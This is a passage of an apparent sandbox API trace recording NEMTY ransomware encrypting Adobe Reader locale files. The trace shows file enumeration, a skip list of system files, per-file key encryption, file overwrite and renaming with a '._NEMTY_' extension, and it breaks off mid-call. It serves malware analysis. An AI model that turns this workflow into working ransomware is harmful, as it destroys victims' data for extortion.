10.0\\reader\\locale\\nl_nl\\acroform.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.366] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=431104) returned 1 [0180.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.366] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.366] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.375] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.376] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=431104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69400 [0180.376] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.377] CloseHandle (hObject=0x2e8) returned 1 [0180.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.377] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\acroform.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\acroform.nld._nemty_kgobjgd_")) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.378] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.NLD", cAlternateFileName="ADOBEC~1.NLD")) returned 1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2=".") returned 1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="..") returned 1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="...") returned 1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="windows") returned -1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="rsa") returned -1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="NTDETECT.COM") returned -1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="ntldr") returned -1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="MSDOS.SYS") returned -1 [0180.378] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="IO.SYS") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="boot.ini") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="boot.ini") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="AUTOEXEC.BAT") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="ntuser.dat") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="desktop.ini") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="CONFIG.SYS") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="RECYCLER") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="BOOTSECT.BAK") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="bootmgr") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="programdata") returned -1 [0180.379] lstrcmpiW (lpString1="AdobeCollabSync.NLD", lpString2="appdata") returned -1 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NLD", lpUsedDefaultChar=0x0) returned 19 [0180.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NLD", lpUsedDefaultChar=0x0) returned 19 [0180.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NLD", lpUsedDefaultChar=0x0) returned 19 [0180.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NLD", lpUsedDefaultChar=0x0) returned 19 [0180.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.380] Sleep (dwMilliseconds=0x5) [0180.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f297fd0, dwHighDateTime=0x1d561e8)) [0180.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f297fd0, dwHighDateTime=0x1d561e8)) [0180.380] GetLastError () returned 0x0 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.381] GetLastError () returned 0x0 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.381] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.381] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="qIH1D5+efhjLsTk7li6zGium0vGK+JPx9G5dWL3k8SspethzhZj3YGIeIpFfoDgE\r\nhKiU7jkKVN3aNCktCGysplrONPPyQ3g/nA4oGIv1TwAoP0V+VeUJM7EMgIY8EP8k\r\ntbpOs7DPgWD5HN7TIQo6S7sGOTZACvTwAYUEFOQM+IAPyGFZuMAsCzBmTVbd0/mZ\r\nsOThP2eeTuRR7nqAim7S8jsBPhCod17KiTFrijQNUiP7pqZJ5aR2vFadH8LYQkqZ\r\nhHSeVCrJaW0MGwy7SE76xQkSqObacpLxx0UtbsR7ms62l9GIGf14T7gz2SP6kqDM\r\nzYGh4hJRoTS51N7CMSXYsQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.381] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0180.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0180.382] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.382] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0180.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.383] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0180.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.384] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0180.384] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.384] CloseHandle (hObject=0x2e8) returned 1 [0180.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld._nemty_kgobjgd_")) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.385] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.NLD", cAlternateFileName="")) returned 1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2=".") returned 1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="..") returned 1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="...") returned 1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="windows") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="rsa") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="NTDETECT.COM") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="ntldr") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="MSDOS.SYS") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="IO.SYS") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="boot.ini") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="boot.ini") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="AUTOEXEC.BAT") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="ntuser.dat") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="desktop.ini") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="CONFIG.SYS") returned -1 [0180.385] lstrcmpiW (lpString1="Annots.NLD", lpString2="RECYCLER") returned -1 [0180.386] lstrcmpiW (lpString1="Annots.NLD", lpString2="BOOTSECT.BAK") returned -1 [0180.386] lstrcmpiW (lpString1="Annots.NLD", lpString2="bootmgr") returned -1 [0180.386] lstrcmpiW (lpString1="Annots.NLD", lpString2="programdata") returned -1 [0180.386] lstrcmpiW (lpString1="Annots.NLD", lpString2="appdata") returned -1 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NLD", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.386] Sleep (dwMilliseconds=0x5) [0180.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f2be130, dwHighDateTime=0x1d561e8)) [0180.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f2be130, dwHighDateTime=0x1d561e8)) [0180.396] GetLastError () returned 0x0 [0180.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.396] GetLastError () returned 0x0 [0180.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.396] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.396] 